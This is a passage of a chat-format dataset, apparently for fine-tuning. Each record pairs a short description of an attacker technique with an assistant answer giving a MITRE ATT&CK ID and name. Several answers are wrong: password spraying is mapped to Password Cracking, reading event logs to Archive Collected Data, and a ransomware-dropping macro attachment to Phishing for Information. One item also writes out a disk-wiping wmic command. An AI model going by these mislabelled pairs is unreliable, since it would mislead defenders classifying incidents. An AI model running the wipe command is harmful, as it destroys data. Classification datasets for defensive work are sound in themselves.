                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A socially engineered email contains a deceptive JPEG claiming to be a coupon; opening the image exploits a remote code execution flaw in the image parsing library."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group modifies the Android boot image to embed encryption routines that run before the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script queries the LDAP directory for user account details."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the registry to load a rogue PasswordFilter DLL, the adversary captures hashed passwords on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code disables Windows API calls that handle SIGTERM, preventing the process from being terminated and staying hidden on the system."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a stolen KRBTGT hash to generate a forged Kerberos ticket, allowing authentication as any user in the domain."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Office Template feature to embed a script that runs automatically when the template is applied to a new document."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modify security settings of cloud storage services to enable unauthorized access or data exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised admin account, the attacker harvested confidential meeting minutes from SharePoint."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email drops a script that triggers rundll32 to load a malicious DLL from the %TEMP% directory."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation to infer the system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Normal.dotm template to include a hidden macro that runs whenever Word is started, employing the Office Application Startup: Office Test technique."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor enumerates IAM roles and groups across multiple cloud accounts to identify privileged groups."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the IIS WebDAV service to upload and execute a malicious DLL, granting persistent code execution on the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor plants a counterfeit module entry in the process's module enumeration structures, tricking tools that enumerate modules into loading the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a new Facebook Business Page to post malicious ads targeting specific demographics."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\EventLog to set Start=4, disabling event logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware continuously monitors for termination signals and, upon detection, simply disregards them to remain hidden in memory."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit chain includes token spoofing where the attacker replaces a low‑privilege token with a forged high‑privilege one."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor uses a custom Base85 encoding scheme for command arguments to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies SIP signaling packets, changing call routing information to eavesdrop on VoIP calls."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor changed the domain controller's Kerberos token signing algorithm to bypass detection."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware pulls the Windows Event Logs to analyze user activity patterns."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a custom DLL to call the NtClearProcessWorkingSet function, indirectly clearing event logs on the machine."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fileless persistence is achieved by storing a malicious payload in a Registry binary value, which is executed via rundll32."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a phishing campaign, the malware installed on the victim's machine calls the API of a password manager to list all saved entries."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor rewrites command output using a homemade base91 encoding before sending it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection script automates the creation of an at job to launch a keylogger after user logoff."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor adds a LaunchDaemon using launchctl with the -w flag to ensure it starts on boot."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors take advantage of Alibaba Cloud's Elastic Compute Service remote login capability to maintain control over infected servers."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copied stolen confidential files onto a USB flash drive and left it on the employee's desk for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates the victim's recent document files from the user's Documents folder."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code copies a crafted launch daemon plist into /Library/LaunchDaemons and then uses launchctl load to activate it."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged DDE to instruct the Windows Media Player process to open a malicious URL, leading to drive‑by download of ransomware."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a custom TLS-wrapped protocol to send symmetrically encrypted data chunks to an external IP, masquerading as regular web traffic."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script alters the configuration of encrypted VPN tunnels to use MD5 for HMAC authentication, reducing message integrity protection."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Double extensions such as .jpg.exe are used to disguise malicious executables as image files."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses WMI event subscriptions to listen for the creation of a specific file and then runs a PowerShell payload to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware loads a custom password filter DLL that intercepts and logs credentials whenever a password is set or changed."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits unsecured CLDAP servers by sending crafted queries with spoofed source IPs, causing amplified LDAP responses that saturate the target's bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a cross-site scripting vulnerability to inject defacement content that displayed to all visitors of the site."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging process injection followed by the termination of the original host process, the malicious code reappears in the process tree under a known Windows utility, effectively masquerading through a broken process tree."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a web server’s JavaScript files to insert malicious code that runs in the browsers of visiting users."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware uses a symmetric key to encrypt all outbound data streams, masking exfiltration activity."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet conducts a SYN flood attack, repeatedly sending TCP SYN packets to a target's port 80, preventing legitimate users from establishing connections."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software harvests API keys embedded in source code repositories and exfiltrates them through DNS tunneling."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scans the file system for files with extensions .docx, .xlsx, and .pdf."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a lateral movement attempt, the attacker executes \"wmic logicaldisk where Caption='C:' call Delete\" to wipe the primary volume on the remote machine."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the default Excel template to include VBA code that runs on opening any new workbook."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltration method involves syncing stolen data to a removable drive that is later mailed back to the command server."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated campaign utilizes Process Doppelgänging to hide malicious shellcode inside a legitimate executable's transaction log, launching it stealthily."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages rundll32.exe with the /c flag to proxy a PowerShell script embedded in a DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform reflection attacks by abusing open services such as NTP, causing amplified traffic to be sent to the victim's address."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy campaign utilizes DCOM remote services to download and execute additional payloads on victim devices."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a password spraying campaign, trying a few common passwords across many user accounts in an Active Directory environment."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a reverse SSH tunnel from the compromised internal server to an external command and control server, allowing traffic to cross the network perimeter."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leaves a malicious DVD in the break room, allowing it to be used as a vehicle for delivering ransomware to any system that reads it."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary calls the target, citing an urgent IT upgrade, and requests the user’s two‑factor authentication code."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses Google to look up the victim's public IP address and associated domain information."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses TFTP to deliver a trojanized firmware image to victims when they perform a network boot."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device is programmed to perform a timed HTTP POST of sensor data to an attacker-controlled endpoint."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exploits a supply chain vulnerability to inject code into the official system image distributed to end users."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set performs OS credential dumping by extracting the /etc/shadow and /etc/passwd files from the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses rundll32.exe to execute a DLL that is loaded from an encoded string in the command line, avoiding any disk write operations."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hijacks an existing internal reverse proxy to forward malicious requests to other internal assets."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages the AWS Systems Manager Session Manager to connect directly to a compromised EC2 instance without using traditional VPNs."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent scheduled task is created to trigger a malicious executable at logon, leveraging the system's auto-reopen feature."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man‑in‑the‑middle proxy, the attacker intercepts and modifies the OTP sent during the MFA challenge."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses ptrace to hijack a running daemon, injecting a shared object that grants elevated privileges on the host."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system loads a malicious network provider DLL that rewrites NTLM challenge responses to obtain credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries a public IP lookup service to discover the compromised host's external IP address."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injected malicious code into a popular blog, causing browsers to execute a drive-by download of a trojan when the page was viewed."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor purchases reports from a closed-source intel vendor to learn about internal network configurations."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary captures a victim's active SSH session by injecting malicious code into the SSH client, allowing them to execute commands as the user."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a spreadsheet attachment labeled \"Q3_Financials.xlsx\" that executes a macro to download ransomware."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
